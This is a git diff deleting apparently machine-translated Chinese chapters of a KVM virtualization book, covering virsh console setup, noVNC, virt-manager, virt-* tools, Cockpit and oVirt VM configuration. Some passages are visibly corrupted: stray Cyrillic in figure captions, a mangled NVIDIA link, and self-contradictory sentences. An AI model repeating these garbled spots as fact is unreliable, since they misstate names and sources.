如果您的环境仅限于文本控制台,那么您必须依赖您最喜欢的`virsh`,更具体地说,是`virsh console vm_name`。 这需要在虚拟机操作系统内进行一些额外的配置,如以下步骤所述。 - -3. If your Linux distro is using GRUB (not GRUB2), append the following line to your existing boot Kernel line in `/boot/grub/grub.conf` and shut down the virtual machine: - - ```sh - console=tty0 console=ttyS0,115200 - ``` - - 如果您的 Linux 发行版使用的是 GRUB2,那么步骤就会变得有点复杂。 请注意,以下命令已在 Fedora22 虚拟机上进行了测试。 对于其他发行版,配置 GRUB2 的步骤可能会有所不同,但 GRUB 配置文件所需的更改应该保持不变: - - ```sh - # cat /etc/default/grub (only relevant variables are shown) - GRUB_TERMINAL_OUTPUT="console" - GRUB_CMDLINE_LINUX="rd.lvm.lv=fedora/swap rd.lvm.lv=fedora/root rhgb quiet" - ``` - - 更改后的配置如下: - - ```sh - # cat /etc/default/grub (only relevant variables are shown) - GRUB_TERMINAL_OUTPUT="serial console" - GRUB_CMDLINE_LINUX="rd.lvm.lv=fedora/swap rd.lvm.lv=fedora/root console=tty0 console=ttyS0" - # grub2-mkconfig -o /boot/grub2/grub.cfg - ``` - -4. 现在,关闭虚拟机。 然后,使用`virsh`: - - ```sh - # virsh shutdown PacktGPUPass - # virsh start PacktGPUPass --console - ``` - - 重新启动 -5. Run the following command to connect to a virtual machine console that has already started: - - ```sh - # virsh console PacktGPUPass - ``` - - 您也可以从远程客户端执行此操作,如下所示: - - ```sh - # virsh -c qemu+ssh://root@192.168.122.1/system console PacktGPUPass - Connected to domain PacktGPUPass: - Escape character is ^] - ``` - -在某些情况下,我们看到控制台命令停留在`^]`。 要解决此问题,请多次按*Enter*键以查看登录提示。 有时,当您想要捕获引导消息以进行故障排除时,配置文本控制台非常有用。 使用*ctrl+]*退出控制台。 - -我们的下一个主题将把我们带到 noVNC 的世界,这是另一个基于 VNC 的协议,与常规的*VNC 相比,它有几个主要优势。 现在让我们讨论一下这些优点以及 noVNC 的实现。* - - *# 通过 noVNC 获得显示器可移植性 - -所有这些显示协议都依赖于能够访问某种类型的客户端应用和/或其他软件支持,从而使我们能够访问虚拟机控制台。 但是,当我们无法访问所有这些附加功能时会发生什么呢? 如果我们只能以文本模式访问我们的环境,但我们仍然希望对虚拟机的连接进行基于 GUI 的管理,会发生什么情况? - -进入 noVNC,这是一个基于 HTML5 的 VNC 客户端,你可以通过兼容 HTML5 的网络浏览器使用,这对市场上几乎所有的网络浏览器*来说都是花哨的话题*。 它支持所有最流行的浏览器,包括移动浏览器,以及加载其他功能,例如: - -* 剪贴板复制-粘贴 -* 支持分辨率缩放和大小调整 -* 它在 MPL 2.0 许可下是免费的 -* 它相当容易安装,支持身份验证,并且可以通过 HTTPS 轻松安全地实施 - -如果您想让 noVNC 正常工作,您需要两件事: - -* 配置为接受 VNC 连接的虚拟机,最好完成一些配置-例如,密码和正确设置的网络接口以连接到虚拟机。 您可以自由使用`tigervnc-server`,将其配置为接受特定用户在端口`5901`上的连接,并将该端口和服务器的 IP 地址用于客户端连接。 -* 客户端计算机上的 noVNC 安装,您可以从 Epel 资料库下载,也可以作为`zip/tar.gz`包直接从 Web 浏览器运行。 要安装它,我们需要键入以下命令序列: - - ```sh - yum -y install novnc - cd /etc/pki/tls/certs - openssl req -x509 -nodes -newkey rsa:2048 -keyout /etc/pki/tls/certs/nv.pem -out /etc/pki/tls/certs/nv.pem -days 365 - websockify -D --web=/usr/share/novnc --cert=/etc/pki/tls/certs/nv.pem 6080 localhost:5901 - ``` - -最终结果如下所示: - -![](img/B14834_06_15.jpg) - -图 6.15СобработельныйNoVNC 控制台配置屏幕 - -在这里,我们可以使用特定控制台的 VNC 服务器密码。 输入密码后,我们会得到如下结果: - -![Figure 6.16 – noVNC console in action – we can see the virtual machine console and use it to work with our virtual machine ](img/B14834_06_16.jpg) - -图 6.16-noVNC 控制台正在运行-我们可以看到虚拟机控制台,并使用它来处理我们的虚拟机 - -我们还可以在 oVirt 中使用所有这些选项。 在安装 oVirt 期间,我们只需在引擎设置阶段选择一个个附加选项: - -```sh ---otopi-environment="OVESETUP_CONFIG/websocketProxyConfig=bool:True" -``` - -此选项将使 oVirt 能够在现有 SPICE 和 VNC 之上使用 noVNC 作为远程显示客户端。 - -让我们看一个在 oVirt 中使用几乎所有我们在本章中讨论的选项配置虚拟机的示例。 密切关注**监视器**配置选项: - -![Figure 6.17 – oVirt also supports all the devices we discussed in this chapter ](img/B14834_06_17.jpg) - -图 6.17-oVirt 还支持我们在本章中讨论的所有设备 - -如果我们单击**图形协议**子菜单,我们将获得使用 SPICE、VNC、noVNC 及其各种组合的选项。 此外,在屏幕底部,我们还提供了多个监视器的可用选项,这些监视器是我们希望在遥控器上看到的。 如果我们想要一个高性能的多显示器远程控制台,这可能非常有用。 - -看到 noVNC 也集成到 noVNC 中,您可以将其视为即将发生的事情的征兆。 从这个角度想一想-多年来,IT 中与管理应用相关的一切都在稳步转向基于 Web 的应用。 同样的事情发生在虚拟机控制台上是合乎逻辑的。 这也已经在其他供应商的解决方案中实现了,所以看到这里使用 noVNC 并不令人惊讶。 - -# 摘要 - -在本章中,我们介绍了用于显示虚拟机数据的虚拟显示设备和协议。 我们还深入研究了 GPU 共享和 GPU 直通,这是运行 VDI 的大规模虚拟化环境的重要概念。 我们讨论了这些场景的一些优点和缺点,因为它们往往实现起来相当复杂,并且需要大量资源-包括财务资源。 想象一下,必须为 100 台虚拟机执行 PCI 直通以实现 2D/3D 加速。 这实际上需要购买 100 块显卡,这在财务上是一个很大的要求。 在我们讨论的其他主题中,我们介绍了可用于控制台访问虚拟机的各种显示协议和选项。 - -在下一章中,我们将带您了解一些常规的虚拟机操作-安装、配置和生命周期管理,包括讨论快照和虚拟机迁移。 - -# 问题 - -1. 我们可以使用哪些类型的虚拟机显示设备? -2. 与 VGA 相比,使用 QXL 虚拟显示设备的主要优势是什么? -3. GPU 共享的好处和缺点是什么? -4. GPU PCI 直通有哪些优势? -5. 与 VNC 相比,SPICE 的主要优势是什么? -6. 为什么要使用 noVNC? - -# 进一步阅读 - -有关本章内容的更多信息,请参阅以下链接: - -* 配置和管理虚拟化:[https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/8/html/configuring_and_managing_virtualization/index](https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/8/html/configuring_and_managing_virtualization/index) -* QEMU 文档:[HTTPS://www.qemu.org/Documentation/](https://www.qemu.org/documentation/) -* NVIDIA 虚拟图形处理器软件文档:\\t0GRID 抯://docs.nvidia.com/GRID/LATEST/GRID-VGPU-RELEASE-NOTES-RED-HAT-el-kvm/index.html -* 使用 IOMMU 组:[https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/7/html/virtualization_deployment_and_administration_guide/app-iommu](https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/7/html/virtualization_deployment_and_administration_guide/app-iommu)*** \ No newline at end of file diff --git a/docs/master-kvm-virtual/07.md b/docs/master-kvm-virtual/07.md deleted file mode 100644 index 567fdfb8..00000000 --- a/docs/master-kvm-virtual/07.md +++ /dev/null @@ -1,750 +0,0 @@ -# 七、虚拟机:安装、配置和生命周期管理 - -在本章中,我们将讨论通过命令提示符和/或**图形用户界面**(**GUI**)安装和配置**虚拟机**(**虚拟机**)的不同方法。 我们将更深入地研究一些我们已经使用过的工具和实用程序(`virt-manager`、`virt-install`、oVirt),并以我们从前面章节中学到的知识为基础。 然后,我们将对虚拟机迁移进行冗长的讨论,这是虚拟化最基本的方面之一,因为在没有迁移选项的情况下使用虚拟化几乎是不可想象的。 为了能够为 VM 迁移配置我们的环境,我们还将使用[*第 4 章*](04.html#_idTextAnchor062)、*Libvirt Networking*和[*第 5 章*](05.html#_idTextAnchor079)、*Libvirt Storage*中讨论的主题,因为 VM 迁移需要满足一些前提条件。 - -在本章中,我们将介绍以下主题: - -* 使用`virt-manager`、使用`virt`命令创建新虚拟机 -* 使用 oVirt 创建新虚拟机 -* 配置您的虚拟机 -* 在虚拟机中添加和删除虚拟硬件 -* 正在迁移虚拟机 - -# 使用 virt-manager 创建新虚拟机 - -`virt-manager`(用于管理 VM 的 GUI 工具)和`virt-install`(用于管理 VM 的命令行实用程序)是**基于内核的 VM**(**KVM**)虚拟化中的两个最常用的实用程序。 通过使用它们,我们几乎可以对我们的虚拟机执行所有操作-创建、启动、停止、删除等等。 在前面的章节中,我们已经有机会使用这两个实用程序,但是我们需要对这个主题采取更加结构化的方法,因为它们提供了大量还没有机会讨论的附加选项。 我们还将添加一些其他实用程序,它们是`virt-*`命令栈的一部分,非常有用。 - -让我们从`virt-manager`及其熟悉的 GUI 开始。 - -## 使用 virt-manager - -`virt-manager`是用于管理 KVM VM 的 GUI 实用程序。 它非常直观且易于使用,尽管我们稍后会描述它的功能有点欠缺。 这是主`virt-manager`窗口: - -![ Figure 7.1 – Main virt-manager window ](img/B14834_07_01.jpg) - -图 7.1-Virt-Manager 主窗口 - -从此屏幕截图中,我们已经可以看到此服务器上安装了三个 VM。 我们可以使用顶级菜单(**文件**、**编辑**、**查看**和**帮助**)进一步配置我们的 KVM 服务器和/或 VM,以及连接到网络上的其他 KVM 主机,如以下屏幕截图所示: - -![Figure 7.2 – Connecting to other KVM hosts by using the Add Connection… option ](img/B14834_07_02.jpg) - -图 7.2-使用 Add Connection…连接到其它 KVM 主机。 选择权 - -在我们选择**Add Connection…之后。** 选项,我们将看到一个连接到外部主机的向导,我们只需输入一些基本信息--用户名(必须是具有管理权限的用户)和远程服务器的主机名或**Internet 协议**(**IP**)地址。 在此之前,我们还需要在本地计算机上配置**Secure Shell**(**SSH**)密钥,并将密钥复制到该远程计算机,因为这是`virt-manager`的默认身份验证方法。 该过程如以下屏幕截图所示: - -![Figure 7.3 – Connecting to remote KVM host ](img/B14834_07_03.jpg) - -图 7.3-连接到远程 KVM 主机 - -此时,您可以通过右键单击主机名并选择**New**来启动在该远程 KVM 主机上自由安装 VM(如果您选择这样做),如以下屏幕截图所示: - -![Figure 7.4 – Creating a new VM on a remote KVM host ](img/B14834_07_04.jpg) - -图 7.4-在远程 KVM 主机上创建新虚拟机 - -由于此向导与在本地服务器上安装 VM 的向导相同,因此我们将一次性介绍这两种情况。 **New VM**向导的第一步是选择*,在其中*您将从安装 VM*。 正如您在下面的屏幕截图中看到的,有四个可用选项:* - -![Figure 7.5 – Selecting boot media ](img/B14834_07_05.jpg) - -图 7.5-选择引导介质 - -选项如下: - -* 如果您的本地计算机(或作为物理设备)上已经有**国际标准化组织**(**ISO**)文件可用,请选择第一个选项。 -* 如果要从网络安装,请选择第二个选项。 -* 如果在您的环境中设置了**预引导执行环境**(**PXE**),并且可以从网络引导 VM 安装,请选择第三个选项。 -* 如果您有一个 VM 磁盘,并且您只想将其作为您正在定义的 VM 的基础,请选择第四个选项。 - -通常,我们谈论的是网络安装(第二种选择)或 PXE 引导的网络安装(第三种选择),因为这些都是生产中最流行的用例。 原因很简单-绝对没有理由将本地磁盘空间浪费在 ISO 文件上,这些文件现在已经相当大了。 例如,CentOS 8 v1905 ISO 文件的大小约为 8**GB**(**GB**)。 如果您需要能够安装多个操作系统,或者甚至这些操作系统的多个版本,最好只为 ISO 文件提供某种集中式存储空间。 - -在基于 VMware**ESX 集成**(**ESXi**)的基础设施中,人们通常使用 ISO 数据存储或内容库来实现此功能。 在基于 Microsoft Hyper-V 的基础架构中,人们通常拥有**服务器消息块**(**SMB**)文件共享,其中包含 VM 安装所需的 ISO 文件。 每台主机都有一个操作系统 ISO 的副本是没有意义的,所以某种共享方法要方便得多,而且是一种很好的节省空间的机制。 - -假设我们正在从网络(**HyperText Transfer Protocol**(**HTTP**)、**HyperText Transfer Protocol Secure**(**HTTPS**)或**File Transfer Protocol**(**FTP**))安装个 VM(**HyperText Transfer Protocol**(**HTTP**)、**HyperText Transfer Protocol**(**HTTPS**))。 我们需要几个条件才能继续,如下所示: - -* 来自的**统一资源定位符**(**URL**),我们可以完成安装-在我们的示例中,我们将使用[http://mirror.linux.duke.edu/pub/centos](http://mirror.linux.duke.edu/pub/centos)。 从该链接中选择最新的`8.x.x`目录,然后转到`BaseOS/x86_64/os`。 -* 显然,要有功能正常的互联网连接--越快越好,因为我们将从前面的 URL 下载所有必要的安装包。 -* 或者,我们可以打开**URL Options**三角形,并对内核行使用其他选项-最常见的是具有如下内容的 kickstart 选项: - - ```sh - ks=http://kickstart_file_url/file.ks - ``` - -那么,让我们将其键入,如下所示: - -![Figure 7.6 – URL and guest operating system selection ](img/B14834_07_06.jpg) - -图 7.6-URL 和访客操作系统选择 - -请注意,我们*手动*选择了**Red Hat Enterprise Linux 8.0**作为目标客户操作系统,因为`virt-manager`当前没有从我们指定的 URL 将 CentOS 8(1905)识别为客户操作系统。 如果该操作系统在当前可识别的操作系统列表中,我们只需选中**Automatic Detect from Installation Media/Source**复选框,有时需要重新选中和取消选中该复选框,然后才能正常工作。 - -单击**Forward**按钮后,我们将面对此 VM 的内存和**中央处理器**(**CPU**)设置。 同样,您可以从两个不同的方向进行操作,如下所示: - -* 选择最少的个资源(例如,1**个虚拟 CPU**(**vCPU**)和 1 GB 内存),然后如果需要更多 CPU 马力和/或更多内存,则在以后更改。 -* 选择适当数量的资源(例如,2 个 vCPU 和 4 GB 内存),并考虑具体使用情况。 例如,如果此虚拟机的预期使用情形是文件服务器,则如果您向其添加 16 个 vCPU 和 64 GB 内存,您将不会获得非常高的性能,但在其他使用情形中,这可能是合适的。 - -下一步是配置 VM 存储。 有两个可用选项,我们可以在下面的屏幕截图中看到: - -![Figure 7.7 – Configuring VM storage ](img/B14834_07_07.jpg) - -图 7.7♥配置虚拟机存储 - -为 VM 选择适当的*存储设备非常重要,因为如果不这样做,将来可能会遇到各种问题。例如,如果您将 VM 放在生产环境中错误的存储设备上,则必须将该 VM 的存储迁移到另一个存储设备,这是一个乏味且耗时的过程,如果您在源或目标存储设备上运行大量 VM,则会产生一些严重的副作用。 首先,这将严重影响他们的表现。 然后,如果您的环境中有某种动态工作负载管理机制,它可能会在您的基础架构中触发额外的 VM 或 VM 存储移动。 VMware 的**Distributed Resource Scheduler**(**DRS**)/Storage DRS、Hyper-V Performance 和资源优化(通过**System Center Operations Manager**(**SCOM**)集成)以及 oVirt/Red Hat Enterprise Virtualization 群集调度策略等功能就是这样做的。 因此,采用*三思而后行*策略可能是这里的正确方法。* - - *如果选择第一个可用选项,**为虚拟机**创建磁盘镜像,`virt-manager`将在其默认位置创建 VM 硬盘-对于**Red Hat Enterprise Linux**(**RHEL**)和 CentOS,即在`/var/lib/libvirt/images`目录中。 确保您有足够的空间容纳您的 VM 硬盘。 假设我们在`/var/lib/libvirt/images`目录及其底层分区中有 8 GB 的可用空间。 如果我们保留前一个屏幕截图中的所有内容,我们会收到一条错误消息,因为我们试图在只有 8 GB 可用空间的本地磁盘上创建一个 10 GB 的文件。 - -再次单击**Forward**按钮之后,我们进入了 VM 创建过程的最后一步,在此我们可以选择 VM 名称(如`virt-manager`中所示),在安装过程之前自定义配置,并选择 VM 将使用的虚拟网络。 我们将在本章稍后介绍虚拟机的硬件定制。 单击**完成**后,如以下屏幕截图所示,您的虚拟机将准备好部署,并在我们安装操作系统后使用: - -![Figure 7.8 – Final virt-manager configuration step ](img/B14834_07_08.jpg) - -图 7.8-最后的 virt-manager 配置步骤 - -使用`virt-manager`创建一些 VM 肯定不是一项困难的任务,但在实际生产环境中,您不一定会发现服务器上安装了 GUI。 因此,我们合乎逻辑的下一项任务是了解用于管理 VM 的命令行实用程序-具体地说,就是`virt-*`命令。 接下来我们来做这件事。 - -## 使用 virt-*命令 - -如前所述,我们需要学习一些新命令来掌握基本 VM 管理任务。 为此,我们提供了`virt-*`命令堆栈。 让我们简要回顾一下其中一些最重要的选项,并学习如何使用它们。 - -### 虚拟查看器 - -由于我们以前已经大量使用了`virt-install`命令(请参阅[*第 3 章*](03.html#_idTextAnchor049),*安装基于内核的虚拟机(KVM)虚拟机管理器、libvirt 和 ovirt*,其中我们使用此命令安装了相当多的 VM),因此我们将介绍其余的命令。 - -让我们从`virt-viewer`开始,因为我们以前使用过这个应用。 每次双击`virt-viewer`中的虚拟机时,我们都会打开一个虚拟机控制台,而这恰好是此过程背景中的`virt-viewer`。 但是,如果我们想要在 shell 中使用`virt-viewer`--就像人们经常做的那样--我们需要更多关于它的信息。 那么,让我们举几个例子。 - -首先,让我们通过运行以下命令连接到名为`MasteringKVM01`的本地 KVM,该 KVM 驻留在我们当前作为`root`连接到的主机上: - -```sh -# virt-viewer --connect qemu:///system MasteringKVM01 -``` - -我们还可以在`kiosk`模式下连接到 VM,这意味着当我们关闭连接到的 VM 时,`virt-viewer`将关闭。 为此,我们将运行以下命令: - -```sh -# virt-viewer --connect qemu:///system MasteringKVM01 --kiosk --kiosk-quit on-disconnect -``` - -如果我们需要连接到*远程*主机,我们也可以使用`virt-viewer`,但我们需要几个附加选项。 对远程系统进行身份验证的最常见方式是通过 SSH,因此我们可以执行以下操作: - -```sh -# virt-viewer --connect qemu+ssh://username@remote-host/system VirtualMachineName -``` - -如果我们配置 SSH 密钥并将其复制到`username@remote-host`,则前面的命令不会要求我们输入密码。 但如果没有,它将要求我们输入两次密码-建立到虚拟机管理器的连接,然后建立到 VM**虚拟网络计算**(**VNC**)会话的连接。 - -### Virt-XML - -我们列表中的下一个命令行实用程序是`virt-xml`。 我们可以将其与`virt-install`命令行选项一起使用来更改 VM 配置。 让我们从一个基本示例开始-让我们只启用虚拟机的引导菜单,如下所示: - -```sh -# virt-xml MasgteringKVM04 --edit --boot bootmenu=on -``` - -然后,让我们分三步向虚拟机添加精简配置的磁盘-首先,创建磁盘本身,然后将其连接到虚拟机并检查是否一切正常。 输出可以在下面的屏幕截图中看到: - -![Figure 7.9 – Adding a thin-provision QEMU copy-on-write (qcow2) format virtual disk to a VM ](img/B14834_07_09.jpg) - -图 7.9-将精简资源调配 QEMU 写入时拷贝(Qco2)格式的虚拟磁盘添加到虚拟机 - -正如我们所看到的,`virt-xml`是非常有用的。 通过使用它,我们向虚拟机添加了另一个虚拟磁盘,这是它能做的最简单的事情之一。 我们可以使用它将任何额外的 VM 硬件部署到现有 VM。 我们还可以使用它来编辑 VM 配置,这在较大的环境中非常方便,特别是当您必须编写脚本并自动执行此类过程时。 - -### 虚拟克隆 - -现在让我们用几个例子来检查`virt-clone`。 比方说,我们只需要一种快速、简单的方法来克隆现有的虚拟机,而不需要任何额外的麻烦。 我们可以做到以下几点: - -```sh -# virt-clone --original VirtualMachineName --auto-clone -``` - -因此,这将生成一个名为`VirtualMachineName-clone`的 VM,我们可以立即开始使用它。 让我们来看看这一点的实际情况,如下所示: - -![Figure 7.10 – Creating a VM clone with virt-clone ](img/B14834_07_10.jpg) - -图 7.10-使用 virt-clone 创建虚拟机克隆 - -让我们看看这个如何可以更多地*定制*。 通过使用`virt-clone`,我们将通过克隆名为`MasteringKVM04`的虚拟机来创建名为`MasteringKVM05`的虚拟机,还将自定义虚拟磁盘名称,如以下屏幕截图所示: - -![Figure 7.11 – Customized VM creation: customizing VM names and virtual hard disk filenames ](img/B14834_07_11.jpg) - -图 7.11-自定义虚拟机创建:自定义虚拟机名称和虚拟硬盘文件名 - -现实生活中有种情况需要您将 VM 从一种虚拟化技术转换为另一种虚拟化技术。 大部分工作实际上是将 VM 磁盘格式从一种格式转换为另一种格式。 这就是`virt-convert`的全部意义所在。 让我们来了解一下它是如何工作的。 - -### Qemu-img - -现在让我们检查一下我们如何将虚拟磁盘转换为另一种格式,以及如何将 VM*配置文件*从一种虚拟化方法转换为另一种虚拟化方法。 我们将使用一个空的 VMware VM 作为源,并将其`vmdk`虚拟磁盘和`.vmx`文件转换为新格式,如以下屏幕截图所示: - -![Figure 7.12 – Converting VMware virtual disk to qcow2 format for KVM ](img/B14834_07_12.jpg) - -图 7.12-将 VMware 虚拟磁盘转换为用于 KVM 的 qco2 格式 - -如果我们面临涉及在这些平台之间移动或转换 VM 的项目,我们需要确保使用这些实用程序,因为它们易于使用和理解,并且只需要一点时间。 例如,如果我们有一个 1**TB**(**TB**)VMware 虚拟磁盘(**VM 磁盘**(**VMDK**)和平面 VMDK 文件),将该文件转换为`qcow2`格式可能需要小时,因此我们必须耐心等待。 此外,我们还需要随时准备编辑`vmx`配置文件,因为从`vmx`格式到`kvm`格式的转换过程并不像我们预期的那样 100%顺利。 在此过程中,将创建一个新的配置文件。 KVM VM 配置文件的默认目录是`/etc/libvirt/qemu`,我们可以很容易地在该目录中看到**Extensible Markup****Language**(**XML**)文件-这些是我们的 KVM 配置文件。 文件名代表`virsh`列表输出中的 VM 名称。 - -CentOS 8 中还有一些新的实用程序,使我们不仅可以更轻松地管理本地服务器,还可以更轻松地管理 VM。 驾驶舱 Web 界面就是其中之一-它能够在 KVM 主机上执行基本的 VM 管理。 我们所需要做的就是通过 Web 浏览器连接到它,在讨论 oVirt 设备的部署时,我们在[*第 3 章*](03.html#_idTextAnchor049),*安装基于内核的 VM(KVM)虚拟机管理器、libvirt 和 ovirt*中提到了此 Web 应用。 那么,让我们通过使用 Cockit 来熟悉一下 VM 管理。 - -## 使用驾驶舱创建新虚拟机 - -要使用 Cocket 对我们的服务器及其 VM 进行管理,我们需要安装并启动 Cocket 及其其他软件包。 让我们从这个开始,如下所示: - -```sh -yum -y install cockpit* -systemctl enable --now cockpit.socket -``` - -之后,我们可以启动 Firefox 并将其指向`https://kvm-host:9090/`,因为这是可以到达驾驶舱的默认端口,并使用 root 密码以`root`身份登录,这将显示以下**用户界面**(**UI**): - -![Figure 7.14 – Cockpit web console, which we can use to deploy VMs ](img/B14834_07_14.jpg) - -图 7.14-驾驶舱 Web 控制台,我们可以使用它来部署虚拟机 - -在前面的步骤中,当我们安装`cockpit*`时,我们还安装了`cockpit-machines`,这是驾驶舱 Web 控制台的一个插件,使我们能够在驾驶舱 Web 控制台中管理`libvirt`个 VM。 因此,在我们单击**VM**之后,我们可以轻松地看到我们以前安装的所有 VM,打开它们的配置,并通过一个简单的向导安装新的 VM,如以下屏幕截图所示: - -![Figure 7.15 – Cockpit VM management ](img/B14834_07_15.jpg) - -图 7.15-驾驶舱虚拟机管理 - -VM 安装向导非常简单-我们只需配置新 VM 的基本设置,即可开始安装,如下所示: - -![Figure 7.16 – Installing KVM VM from Cockpit web console ](img/B14834_07_16.jpg) - -图 7.16-从驾驶舱 Web 控制台安装 KVM VM - -既然我们已经介绍了如何在本地*安装 VM*-这意味着没有某种集中式管理应用-让我们返回并检查如何通过 oVirt 安装 VM。 - -# 使用 oVirt 创建新虚拟机 - -如果我们将主机添加到 oVirt,当我们登录到它时,我们可以转到**Compute-VMs**,并使用一个简单的向导开始部署 VM。 因此,单击该菜单中的**New**按钮后,我们就可以这样做了,我们将进入以下屏幕: - -![Figure 7.17 – New VM wizard in oVirt ](img/B14834_07_17.jpg) - -图 7.17-oVirt 中的新建虚拟机向导 - -考虑到 oVirt 是一个针对 KVM 主机的集中式管理解决方案,与 KVM 主机上的本地 VM 安装相比,我们拥有*加载*的额外选项-我们可以选择将托管此 VM 的群集;我们可以使用模板、配置优化和实例类型、配置**高可用性**(**HA**)、资源分配、引导选项...。 基本上,这就是我们戏称的*选项瘫痪*,尽管这是为了我们自己的利益,因为集中式解决方案总是与任何一种本地解决方案略有不同。 - -至少,我们必须配置常规 VM 属性-名称、操作系统和 VM 网络接口。 然后,我们将转到**SYSTEM**选项卡,在此我们将配置内存大小和虚拟 CPU 计数,如下面的屏幕截图所示: - -![Figure 7.18 – Selecting VM configuration: virtual CPUs and memory ](img/B14834_07_18.jpg) - -图 7.18-选择虚拟机配置:虚拟 CPU 和内存 - -我们肯定要配置引导选项-附加 CD/ISO,添加虚拟硬盘,并配置引导顺序,如以下屏幕截图所示: - -![Figure 7.19 – Configuring VM boot options in oVirt ](img/B14834_07_19.jpg) - -图 7.19-在 oVirt 中配置虚拟机引导选项 - -我们可以使用`sysprep`或`cloud-init`自定义虚拟机安装后配置,我们将在[*第 9 章*](09.html#_idTextAnchor165)、*使用 cloud-init 自定义虚拟机*中讨论。 - -下面是 oVirt 中的基本配置: - -![Figure 7.20 – Installing KVM VM from oVirt: make sure that you select correct boot options ](img/B14834_07_20.jpg) - -图 7.20-从 oVirt 安装 KVM VM:确保选择正确的引导选项 - -实际上,如果您管理的环境有两到三台以上的 KVM 主机,那么您将希望使用某种集中式实用程序来管理它们。 OVirt 在这方面真的很好,所以不要跳过它。 - -现在,我们已经以各种不同的方式完成了整个部署过程,现在是考虑 VM 配置的时候了。 请记住,VM 是一个具有许多重要属性(如虚拟 CPU 数量、内存量、虚拟网卡等)的对象,了解如何自定义 VM 设置非常重要。 所以,让我们把它作为下一个话题。 - -# 配置您的虚拟机 - -当我们使用`virt-manager`时,如果您一直走到最后一步,您可以选择一个有趣的选项,那就是**Customize Configuration Being Install**选项。 如果您在安装后检查虚拟机配置,则可以访问相同的配置窗口。 因此,无论我们走哪条路,我们都将面对分配给我们刚刚创建的 VM 的每个 VM 硬件设备的完整配置选项,如下面的屏幕截图所示: - -![Figure 7.21 – VM configuration options ](img/B14834_07_21.jpg) - -图 7.21-虚拟机配置选项 - -例如,如果我们单击左侧的**CPU**选项,您将看到可用的 CPU 数量(当前和最大分配),我们还会看到一些相当高级的选项,如**CPU 拓扑**(**插槽**/**内核**/**线程**)。 这使我们能够配置特定的**非均匀存储器访问**(**NUMA**)配置选项。 配置窗口如下所示: - -![Figure 7.22 – VM CPU configuration ](img/B14834_07_22.jpg) - -图 7.22Собработается虚拟机中央处理器配置 - -这是 VM 配置的*非常*重要的部分,特别是当您正在设计承载虚拟服务器负载的环境时。 此外,如果虚拟化服务器托管**输入/输出**(**I/O**)密集型应用(如数据库),则变得更加重要。 如果您想了解更多这方面的信息,可以查看本章末尾*进一步阅读*部分的链接,因为它将为您提供大量关于 VM 设计的附加信息。 - -然后,如果我们打开**Memory**选项,我们可以更改内存分配-同样,以浮点形式(当前和最大分配)进行更改。 我们将在稍后开始使用`virt-*`命令时讨论这些选项。 下面是`virt-manager`**存储器**配置选项的外观: - -![Figure 7.23 – VM memory configuration ](img/B14834_07_23.jpg) - -图 7.23-虚拟机内存配置 - -`virt-manager`中提供的一个最重要的配置选项集位于**Boot Options**子菜单中,如以下屏幕截图所示: - -![Figure 7.24 – VM boot configuration options ](img/B14834_07_24.jpg) - -图 7.24-虚拟机引导配置选项 - -在那里,您可以做两件非常重要的事情,如下所示: - -* 选择要随主机自动启动的此虚拟机 -* 启用引导菜单并选择引导设备和引导设备优先级 - -就配置选项而言,到目前为止,`virt-manager`功能最丰富的配置菜单是虚拟存储菜单-在我们的示例中,是**VirtIO Disk 1**。 如果我们单击该选项,我们将获得以下配置选项选择: - -![Figure 7.25 – Configuring VM hard disk and storage controller options ](img/B14834_07_25.jpg) - -图 7.25-配置虚拟机硬盘和存储控制器选项 - -让我们看看这些配置选项中的一些选项的意义是什么,如下所示: - -* **磁盘总线**-这里通常有五个选项,**VirtIO**是默认的(也是最好的)选项。 与 VMware、ESXi 和 Hyper-V 一样,KVM 有不同的虚拟存储控制器可用。 例如,VMware 具有 BusLogic、LSI Logic、ParaVirtual 和其他类型的虚拟存储控制器,而 Hyper-V 具有**集成驱动电子设备**(**IDE**)和**小型计算机系统接口**(**SCSI**)控制器。 此选项定义 VM 将在其访客操作系统内看到的存储控制器。 -* **存储格式**-有两种格式:`qcow2`和`raw`(`dd`类型格式)。 最常见的选项是`qcow2`,因为它为虚拟机管理提供了最大的灵活性-例如,它支持精简配置和快照。 -* `Cache`模式-有六种类型:`writethrough`、`writeback`、`directsync`、`unsafe`、`none`和`default`。 这些模式解释了如何将数据从源自虚拟机的 I/O 写入到虚拟机下方的存储底层。 例如,如果我们使用的是`writethrough`,I/O 将被缓存到 KVM 主机上,并被写入 VM 磁盘。 另一方面,如果我们使用`none`,主机上没有缓存(磁盘`writeback`缓存除外),数据直接写入 VM 磁盘。 不同的模式有不同的优缺点,但通常情况下,`none`是虚拟机管理的最佳选择。 您可以在*进一步阅读*一节中了解更多关于它们的信息。 -* `IO`模式-有两种模式:`native`和`threads`。 根据此设置,VM I/O 将通过内核异步 I/O 或通过用户空间中的线程池(也是默认值)写入。 在使用`qcow2`格式时,通常认为`threads`模式更好,因为`qcow2`格式首先分配扇区,然后写入扇区,这将占用分配给 VM 的 vCPU,并直接影响 I/O 性能。 -* `Discard`模式-这里有两种可用的模式,称为`ignore`和`unmap`。 如果选择`unmap`,当您从 VM 中删除文件(转换为释放`qcow2`VM 磁盘文件中的空间)时,`qcow2`VM 磁盘文件将收缩以反映新释放的容量。 根据您应用的 Linux 发行版、内核和内核补丁和**Quick Emulator**(**QEMU**)版本的不同,此函数*可能只在 SCSI 磁盘总线上可用。 QEMU 4.0+版本支持。* -* `Detect zeroes`-有三种模式可用:`off`、`on`和`unmap`。 如果选择`unmap`,零写入将被转换为取消映射操作(如丢弃模式中所述)。 如果将其设置为`on`,操作系统的零写入将转换为特定的零写入命令。 - -在任何给定虚拟机的生命周期内,我们都很有可能重新配置它。 无论这是否意味着添加或删除虚拟硬件(当然,通常是添加),它都是 VM 生命周期的一个重要方面。 所以,让我们学习如何管理它。 - -# 在您的虚拟机中添加和删除虚拟硬件 - -通过使用 VM 配置屏幕,我们可以轻松添加其他硬件,或删除硬件。 例如,如果我们点击左下角的**Add Hardware**按钮,我们就可以轻松地添加设备-比方说,虚拟网卡。 以下屏幕截图说明了此过程: - -![Figure 7.26 – After clicking on Add Hardware, we can select which virtual hardware device we want to add to our VM ](img/B14834_07_26.jpg) - -图 7.26-单击 Add Hardware(添加硬件)后,我们可以选择要添加到虚拟机的虚拟硬件设备 - -另一方面,如果我们选择一个虚拟硬件设备(例如,**Sound 